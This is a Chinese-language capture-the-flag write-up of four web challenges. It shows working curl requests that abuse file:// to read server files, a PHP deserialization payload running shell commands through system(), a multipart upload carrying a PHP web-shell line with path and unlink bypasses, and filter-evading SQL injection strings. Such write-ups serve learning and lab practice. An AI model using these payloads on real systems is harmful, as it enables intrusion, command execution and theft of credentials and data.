题目没什么感觉,从其他师傅那里还是能学到东西的
web1
进去让看robots.txt,发现source.php和flag.php 去source.php看一下
1 you need to login as admin!<!-- post param 'admin' -->
反正各种改头
1 2 blacsheep@Macbook:/home/blacsheep $ curl -X POST --data "admin=1&url=http://www.ichunqiu.com" -H "X-Client-Ip:127.0.0.1" "http://e68314a9bc484ec0b24fb92e983038184bb2eb5bf0094b3c.game.ichunqiu.com/source.php" you need to login as admin!<!-- post param 'admin' -->http://www.ichunqiu.com<img src="download/1776243742;img1.jpg" />%
发现是个download的功能 那么去下载flag.php,用file协议
1 2 3 4 blacsheep@Macbook:/home/blacsheep $ curl -X POST --data "admin=1&url=file://www.ichunqiu.com/var/www/html/flag.php" -H "X-Client-Ip:127.0.0.1" "http://e68314a9bc484ec0b24fb92e983038184bb2eb5bf0094b3c.game.ichunqiu.com/source.php" you need to login as admin!<!-- post param 'admin' -->file://www.ichunqiu.com/var/www/html/flag.php<img src="download/1574241457;img1.jpg" />% blacsheep@Macbook:/home/blacsheep $ curl "http://e68314a9bc484ec0b24fb92e983038184bb2eb5bf0094b3c.game.ichunqiu.com/download/1574241457;img1.jpg" <?php $flag ="flag{b7e6122d-1c84-4785-a788-eeee18e17ac4}" ;
web2
扫目录,发现swp,恢复源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );class come { private $method ; private $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf (trim ($v )); } } function waf ($str ) { $str =preg_replace ("/[<>*;?\n ]/" ,"" ,$str ); $str =str_replace ('flag' ,'' ,$str ); return $str ; } function echo ($host ) { system ("echo $host " ); } function __destruct ( ) { if (in_array ($this ->method, array ("echo" ))) { call_user_func_array (array ($this , $this ->method), $this ->args); } } } $first ='hi' ;$var ='var' ;$bbb ='bbb' ;$ccc ='ccc' ;$i =1 ;foreach ($_GET as $key => $value ) { if ($i ===1 ) { $i ++; $$key = $value ; } else {break ;} } if ($first ==="doller" ){ @parse_str ($_GET ['a' ]); if ($var ==="give" ) { if ($bbb ==="me" ) { if ($ccc ==="flag" ) { echo "<br>welcome!<br>" ; $come =@$_POST ['come' ]; unserialize ($come ); } } else {echo "<br>think about it<br>" ;} } else { echo "NO" ; } } else { echo "Can you hack me?<br>" ; } ?>
简单测试下
1 root@Macbook:/var/www/html
拿到反序列化 然后用$IFS
绕过空格
1 2 3 4 <?php $one = new come ("echo" ,array ('`cat$IFS/flflagag`' )); var_dump (urlencode (serialize ($one )));?>
web3
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $dir =md5 ("icq" ); $sandbox = '/var/sandbox/' . $dir ; @mkdir ($sandbox ); @chdir ($sandbox ); if ($_FILES ['file' ]['name' ]){ $filename = !empty ($_POST ['file' ]) ? $_POST ['file' ] : $_FILES ['file' ]['name' ]; if (!is_array ($filename )) { $filename = explode ('.' , $filename ); } $ext = end ($filename ); if ($ext ==$filename [count ($filename ) - 1 ]){ die ("emmmm..." ); } $new_name = (string )rand (100 ,999 )."." .$ext ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ],$new_name ); $_ = $_POST ['hehe' ]; if (@substr (file ($_ )[0 ],0 ,6 )==='@<?php' && strpos ($_ ,$new_name )===false ){ include ($_ ); } unlink ($new_name ); } else { highlight_file (__FILE__ ); }
这里有一个绕过
1 2 3 4 $ext = end ($filename ); if ($ext ==$filename [count ($filename ) - 1 ]){ die ("emmmm..." ); }
比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $test = array ();$test [1 ]=456 ;$test [0 ]=123 ; var_dump ($test );var_dump (end ($test ));var_dump ($test [count ($test )-1 ]);
这里后面可以路径截断一下,然后包含就可以了
这里还学到了unlink的一个绕过,参考:https://www.cnblogs.com/arongmh/p/8328470.html
大概就是php读写文件的时候会用php_stream_open_wrapper_ex
去打开,从而判断文件是否存在,而删除则不是,如果文件名里面有不存在的路径,那么就会导致删除失败.
综合payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST / HTTP/1.1 Host : 118ccb81ba1a41739d43b14979553ba5003a67d6e50945c0.game.ichunqiu.comUser-Agent : curl/7.61.0Accept : */*Content-Length : 518Content-Type : multipart/form-data; boundary=------------------------99b94f48d2d866adConnection : closeContent-Disposition: form-data; name ="file"; filename="index.php" Content-Type : text /html @<?php system ('ls /' ); ?> Content-Disposition: form-data; name ="file[1]" def Content-Disposition: form-data; name ="file[0]" php/../123. php Content-Disposition: form-data; name ="hehe" ./123. php
然后拿到flag
web4
简单点几下,发现查询用户和登录功能
查询用户简单测试,发现注入,加上提示
1 $content =str_replace ($value ,"" ,$content )
去简单探测一下过滤的东西,发现from,select替换成了空,而information_schema和union是被ban了.
探测删除了啥可以用
发现返回正常,那么'from'肯定是被换成了空了.
然后information_schema被过滤,这里绕过的方法很多
1 2 3 1.innodb绕过,但是无法查列名 2.information . schema绕过(点左右加空格) 3.informafromtion_schema(中间加替换字段)
然后本来我是盲注的,这里可以将替换字段插入union来进行union注入
1 id=12'unifromon seleselectct 1,(selselectect group_concat(table_name) frfromom information_schefromma.tables where table_schema=database())%23
拿到
提取列
读密码
1 e3274be5c857fb42ab72d786e281b4b8
解一下拿到密码:adminpassword 进去发现文件上传,随意传一下
1 2 uploaded to ./1.png.txt please upload to ./flag.php
利用路径绕过php,但是后面还有个.txt
这个地方卡了,看了wp才知道用的%02截断的...
这个字符是跑了一遍不可见字符跑出来的...